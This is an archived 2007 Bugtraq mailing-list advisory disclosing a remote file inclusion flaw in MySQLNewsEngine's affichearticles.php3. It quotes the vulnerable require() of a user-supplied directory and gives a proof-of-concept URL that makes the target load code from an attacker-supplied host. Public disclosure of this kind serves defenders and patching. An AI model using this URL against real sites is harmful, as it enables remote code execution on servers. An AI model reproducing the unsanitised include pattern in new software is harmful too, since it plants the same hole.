bugtraq - MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.

lists.openwall.net		lists / announce john-users owl-users popa3d-users / xvendor oss-security / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4
Open Source and information security mailing list archives

Order Openwall GNU/*/Linux 2.0 on a CD with delivery worldwide

[<prev] [next>] [month] [year] [list]

Date: 6 Feb 2007 20:17:36 -0000
From: gokhankaya@...mail.com
To: bugtraq@...urityfocus.com
Subject: MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.

# Title		: MySQLNewsEngine (affichearticles.php3) Remote File Inc. Vuln.
# Author	: Blaster, CanberX
# Contact	: msn@...ster.net | gokhankaya@...mail.com
# Download	: http://www.comscripts.com/jump.php?action=script&id=625
#
#
# Vuln code	: affichearticles.php3
#
# $sigfile = $newsenginedir . "include/signature.inc";
#
# require("$sigfile");
# http://[site]/[path]/affichearticles.php3?newsenginedir=[attacker]
#
#
# GreetZ: BLaCKWHITE, LGMAN, HackerBox.Eu, 
# HackerBox Group Turkey !